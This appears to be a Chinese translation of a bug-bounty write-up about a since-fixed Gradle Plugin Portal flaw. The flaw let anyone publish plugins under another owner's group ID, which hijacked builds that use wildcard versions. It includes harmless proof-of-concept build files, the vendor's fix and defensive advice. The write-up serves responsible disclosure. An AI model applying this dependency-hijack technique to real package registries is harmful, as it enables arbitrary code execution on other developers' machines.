利用Gradle Plugin通配版本进行远程代码执行

栏目: 编程工具 · 发布时间: 5年前

内容简介:该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。此插件的组ID是

利用Gradle Plugin通配版本进行远程代码执行

前言

该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。

摘要

buildscript {
    repositories {
        gradlePluginPortal()
    }
    dependencies {
        /*
         * In practice, this attack could have been leveraged against any plugin on 
         * the Gradle plugin portal.
         * I created my own plugin for testing purposes.
         */
        classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
    }
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")

此插件的组ID是 org.jlleitschuh.testing.security (开头的 gradle.plugin 是由Gradle添加的)。

由于Gradle Plugin Portal中存在漏洞,攻击者可以将其插件的组ID设置成与网站上已有的任何插件的组ID相同,并在他们不应拥有的组下发布恶意插件。攻击者无法覆盖现有版本的artifacts,但他们可以发布更新版本。当用户使用通配版本作为依赖项时,那么当下次用户运行artifacts时,Gradle将下载最新版本的插件(现在是恶意的),然后将对插入用户进行溢出攻击。

漏洞发掘

由于spotbugs团队还没有为他们的插件发布一个补丁来支持Gradle 4.10(漏洞版本),因此我发现了这个问题。为了使用4.10,我更新了我的内部版本,但这个问题阻止了我的更新。由于我已经拥有其他插件的Gradle Plugin Portal帐户,因此我决定在不同的artifacts下发布spotbug的指定版本。

我fork了其repository,并对 build.gradle 进行了足够数量的更改,这样我就可以成功地运行 publishPlugins 了。

发布的结果可以在这里找到( https://plugins.gradle.org/plugin/com.github.spotbugs.temporary ) ,此artifacts已被Gradle团队成员转移了,以防止它与将来更新版本的spotbug发生冲突。

由Gradle Plugin Portal提供的,关于如何应用此新发布的插件的示例代码段如下所示:

buildscript {
  repositories {
    maven {
      url "https://plugins.gradle.org/m2/"
    }
  }
  dependencies {
    classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4"
  }
}

apply plugin: "com.github.spotbugs.temporary"

引起我注意的是,spotbugs插件竟与我自己的完全相同。

官方版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.2
我的版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4

刚意识到这一点,我就立刻向Gradle社区Slack频道的Gradle Plugin Portal主管Eric Wendelin提交了这个漏洞。然而,当时我还没有完全明白其中的意义。

POC

这个时候已经是凌晨1点了,但我怎么能现在停下呢?我现在必须要做点什么!

以下测试使用的是由我注册的两个完全不同的Gradle Plugin Portal帐户完成的。

我创建了以下插件来实现POC,可以将这个插件看作是任意一个作者在互联网上发布的一个插件,这个插件可为Gradle构建添加一些方便的安全功能。

plugins {
    java
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
}

group = "org.jlleitschuh.testing.security"
version = "0.4.0"

dependencies {
    compileOnly(gradleApi())
}

gradlePlugin {
    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }
    }
}

pluginBundle {
    description = "Useless security testing."

    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")

    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            displayName = "Security testing plugin"
        }
    }
}
package org.jlleitschuh.testing.security;

import org.gradle.api.Plugin;
import org.gradle.api.Project;

public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin");
    }
}

用户认为这个插件非常有用,但他们不希望每次都要不停地更新版本,所以他们想使用这样的通配版本。

buildscript {
    repositories {
        gradlePluginPortal()
    }
    dependencies {
        /*
         * In practice, this attack could have been leveraged against any plugin on 
         * the Gradle plugin portal.
         * I created my own plugin for testing purposes.
         */
        classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
    }
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")

他们将从Gradle Plugin portal中获取的版本是0.4.0版本。如果他们要运行 ./gradlew ,他们会在控制台中看到以下内容。

./gradlew
> Configure project :
A security plugin
...

现在,攻击者出现了,并且当他看到您在您的artifacts中使用了通配版本,或许他们会想试图劫持一些插件并看看将发生什么。利用这一漏洞,他们可以将自己的代码添加到插件并且发布,以下是攻击者会将代码更改的内容。

plugins {
    java
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
}

group = "org.jlleitschuh.testing.security"
version = "0.4.1"

dependencies {
    compileOnly(gradleApi())
}

gradlePlugin {
    (plugins) {
        "securityPlugin" {
            /*
             * This is the plugin that the user is already using.
             */
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }

        "securityPluginTemp" {
            /*
             * This is just an unused plugin here to make the com.gradle.plugin-publish
             * and java-gradle-plugin happy as well as the Gradle Plugin Portal when
             * we go to upload our malicious plugin.
             */
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }
    }
}

pluginBundle {
    description = "Useless security testing."

    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")

    (plugins) {
        "securityPlugin" {
            /*
             * Note how I'm declaring two plugins above but only publishing one 
             * plugin here.
             * This is because the Gradle Plugin Portal used to only validate that
             * the id of the plugin portal was not taken, but not the group.
             */
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            displayName = "Security testing plugin"
        }
    }
}
package org.jlleitschuh.testing.security;

import org.gradle.api.Plugin;
import org.gradle.api.Project;

public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin. I'm malicious!");
    }
}

攻击者将他们的插件版本发布到Gradle插件网站。现在他们所要做的就是等待。

那么下一次我们的用户出现并运行 ./gradlew 时,他们就会收到这个。

./gradlew
Download https://plugins.gradle.org/m2/gradle/plugin/org/jlleitschuh/testing/security/gradle-testing/0.4.1/gradle-testing-0.4.1.pom
> Configure project :
A security plugin. I'm malicious!
...

用户成功被攻击者pwn了。

Gradle团队的回应

Gradle团队很快回复了我提交的漏洞。他们还告诉我,谷歌团队在我发现它的一周之前,就已经意识到这个漏洞,但是,Google报告并没有提到,并且Google提供的版本只要求用户更改应用于以下内容的插件。

apply(plugin = "org.jlleitschuh.testing.security-plugin.tmp")

修复

尽管未提及此漏洞,但此漏洞的修复程序作为Gradle Plugin Portal审批策略更新的一部分发送到了Gradle Plugin Portal。

当被问及是否进行了审计以确保此安全漏洞不会被恶意利用时,Eric Wendelin回答“是的,同时我们也并没有发现恶意行为存在的证据”。

关键点

像Gradle Plugin Portal,Maven Central Repository以及JFrog Artifactory这样的artifacts服务器都是攻击者的理想目标。如果攻击者可以劫持artifacts,他们可以在全球数百甚至数千台机器上执行任意代码。

如何保护自己

虽然这些提示不能保护您免受此类攻击,但如果不执行这些操作,就可能会使您或您的账户易受此类攻击。

1.始终通过HTTPS而不是通过HTTP来下载您的artifacts。

2.不要用通配版本来构建依赖项。

3.始终使用受信任的artifacts服务器,如Maven Central和Gradle Plugin Portal等。

4.使用进行过安全审计的公司的artifacts镜像。

原文链接: https://medium.com/bugbountywriteup/leveraging-gradle-plugin-wildcard-versions-for-remote-code-execution-24e15112c432


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python网络编程(第3版)

Python网络编程(第3版)

[美] Brandon Rhodes、[美] John Goerzen / 诸豪文 / 人民邮电出版社 / 2016-9 / 79.00元

本书针对想要深入理解使用Python来解决网络相关问题或是构建网络应用程序的技术人员,结合实例讲解了网络协议、网络数据及错误、电子邮件、服务器架构和HTTP及Web应用程序等经典话题。具体内容包括:全面介绍Python3中最新提供的SSL支持,异步I/O循环的编写,用Flask框架在Python代码中配置URL,跨站脚本以及跨站请求伪造攻击网站的原理及保护方法,等等。一起来看看 《Python网络编程(第3版)》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器